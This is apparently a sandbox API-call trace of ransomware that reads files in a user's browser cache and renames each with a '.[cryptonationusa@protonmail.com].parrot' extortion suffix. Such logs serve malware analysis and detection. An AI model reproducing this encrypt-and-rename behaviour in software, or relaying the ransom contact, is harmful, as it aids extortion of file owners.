ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.785] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.785] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5e5, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x5e5, lpOverlapped=0x0) returned 1 [0078.785] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.785] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[2].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[2].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0078.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179270 | out: hHeap=0x5b0000) returned 1 [0078.788] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.788] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.806] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.807] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3565, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x3565, lpOverlapped=0x0) returned 1 [0078.831] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.831] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgyIm[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegyim[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgyIm[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegyim[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.833] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0078.833] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.833] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2222090 | out: hHeap=0x5b0000) returned 1 [0078.843] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.843] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.855] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.856] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf3, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xf3, lpOverlapped=0x0) returned 1 [0078.856] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.856] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBg3ODX[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbg3odx[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBg3ODX[2].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbg3odx[2].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.858] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0078.858] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.858] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af530 | out: hHeap=0x5b0000) returned 1 [0078.860] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.860] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.878] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.878] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3b9, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x3b9, lpOverlapped=0x0) returned 1 [0078.879] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.879] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBiyCq[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbiycq[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBiyCq[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbiycq[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0078.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179270 | out: hHeap=0x5b0000) returned 1 [0078.882] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.882] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.891] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.891] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x14d, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x14d, lpOverlapped=0x0) returned 1 [0078.891] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.892] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBn4lUU[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbn4luu[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBn4lUU[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbn4luu[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0078.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af530 | out: hHeap=0x5b0000) returned 1 [0078.894] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.895] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.904] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.904] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x24b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x24b, lpOverlapped=0x0) returned 1 [0078.904] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.904] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBnMKeN[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbnmken[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBnMKeN[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbnmken[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.906] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0078.906] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.906] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af788 | out: hHeap=0x5b0000) returned 1 [0078.909] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.910] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.914] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.914] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x38b7, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x38b7, lpOverlapped=0x0) returned 1 [0078.915] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.916] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBwGan9[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbwgan9[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBwGan9[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbwgan9[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.917] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0078.917] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.917] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2222090 | out: hHeap=0x5b0000) returned 1 [0078.918] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.919] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.920] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.920] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x36c, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x36c, lpOverlapped=0x0) returned 1 [0078.921] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.921] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBz3ebk[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbz3ebk[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBz3ebk[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbz3ebk[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0078.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af8a8 | out: hHeap=0x5b0000) returned 1 [0078.924] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.924] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.927] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.927] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x29ed, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x29ed, lpOverlapped=0x0) returned 1 [0078.928] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.928] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\benefits-5-mobile[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\benefits-5-mobile[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\benefits-5-mobile[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\benefits-5-mobile[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.929] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af658 | out: hHeap=0x5b0000) returned 1 [0078.929] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.929] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2222090 | out: hHeap=0x5b0000) returned 1 [0078.931] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.931] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.932] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.933] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x13f3f, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x13f3f, lpOverlapped=0x0) returned 1 [0078.935] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.938] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\cb=gapi[1].loaded_1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\cb=gapi[1].loaded_1"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\cb=gapi[1].loaded_1.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\cb=gapi[1].loaded_1.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a6d40 | out: hHeap=0x5b0000) returned 1 [0078.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0078.942] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.942] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.944] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.944] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x10c6c, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x10c6c, lpOverlapped=0x0) returned 1 [0078.949] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.952] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\chrome-new[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\chrome-new[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\chrome-new[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\chrome-new[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.996] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a6d40 | out: hHeap=0x5b0000) returned 1 [0078.996] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0078.996] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0079.009] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.029] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.060] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.069] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4739, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x4739, lpOverlapped=0x0) returned 1 [0079.078] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.080] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\cJZKeOuBrn4kERxqtaUH3fY6323mHUZFJMgTvxaG2iE[1].eot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\cjzkeoubrn4kerxqtauh3fy6323mhuzfjmgtvxag2ie[1].eot"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\cJZKeOuBrn4kERxqtaUH3fY6323mHUZFJMgTvxaG2iE[1].eot.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\cjzkeoubrn4kerxqtauh3fy6323mhuzfjmgtvxag2ie[1].eot.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af530 | out: hHeap=0x5b0000) returned 1 [0079.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0079.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22260d0 | out: hHeap=0x5b0000) returned 1 [0079.087] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.087] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.091] 